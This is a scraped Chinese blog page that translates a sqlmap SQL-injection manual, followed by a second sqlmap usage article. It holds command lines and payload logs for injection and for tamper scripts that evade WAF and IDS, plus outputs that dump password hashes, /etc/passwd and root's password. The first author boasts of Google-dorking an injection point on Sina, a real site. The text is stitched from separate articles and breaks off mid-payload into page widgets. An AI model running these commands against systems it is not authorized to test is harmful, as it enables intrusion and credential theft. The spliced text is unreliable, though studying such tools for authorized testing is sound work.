SQLmap用户手册

当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

Youtube上有人做的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可以使用git来获取sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后可以直接使用命令来更新

python sqlmap.py --update

或者

git pull

更新sqlmap

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。
获取目标方式
目标URL

参数:-u或者–url

格式:http(s)😕/targeturl[:port]/[…]

例如:python sqlmap.py -u “http://www.target.com/vuln.php?id=1” -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数:-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。
从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

从文件中加载HTTP请求

参数:-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

比如文本文件内如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后门加上:443
处理Google的搜索结果

参数:-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:

python sqlmap.py -g “inurl:”.php?id=1""

(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)

此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。
请求
http数据

参数:–data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php” --data=“id=1” -f --banner --dbs --users

参数拆分字符

参数:–param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php” --data=“query=foobar;id=1” --param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
HTTP User-Agent头

参数:–user-agent,–random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。
额外的HTTP头

参数:–headers

可以通过–headers参数来增加额外的http头
HTTP认证保护

参数:–auth-type,–auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:

1、Basic

2、Digest

3、NTLM

例子:

python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”

HTTP协议的证书认证

参数:–auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
HTTP(S)代理

参数:–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:http://url:port。

当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。

–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。
HTTP请求延迟

参数:–delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
设定超时时间

参数:–timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时

参数:–retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
设定随机改变的参数值

参数:–randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址

参数:–scope

例如:

python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

避免过多的错误请求被屏蔽

参数:–safe-url,–safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

参数:–skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。
每次请求时候执行自定义的python代码

参数:–eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入
测试参数

参数:-p,–skip

sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。

例如:–skip=“user-angent.referer”

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

例如:

python sqlmap.py -u “http://targeturl/param1/value1*/param2/value2/”

sqlmap将会测试value1的位置是否可注入。
指定数据库

参数:–dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:–os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。
指定无效的大数字

参数:–invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。
只定无效的逻辑

参数:–invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。
注入payload

参数:–prefix,–suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”;

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (’abc’=’abc”

这样执行的SQL语句变成:

$query = “SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1”;

修改注入的数据

参数:–tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

Needed imports

from lib.core.enums import PRIORITY

Define which is the order of application of tamper scripts against

the payload

priority = PRIORITY.NORMAL
def tamper(payload):
‘’’
Description of your tamper script
‘’’
retVal = payload

your code to tamper the original payload

return the tampered payload

return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本

例如:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script ‘between’
[hh:mm:03] [INFO] loading tamper script ‘randomcase’
[hh:mm:03] [INFO] loading tamper script ‘space2comment’
[…]
[hh:mm:04] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[hh:mm:04] [PAYLOAD] 1)//And//1369=7706//And//(4092=4092
[hh:mm:04] [PAYLOAD] 1)//AND//9267=9267//AND//(4057=4057
[hh:mm:04] [PAYLOAD] 1//AnD//950=7041
[…]
[hh:mm:04] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’
[hh:mm:04] [PAYLOAD] 1//anD//(SELeCt//9921//fROm(SELeCt//counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/
/(case//whEN//(9921=9921)//THeN//1//elsE//0//
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/
/fROm//information_schema.tables/<

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值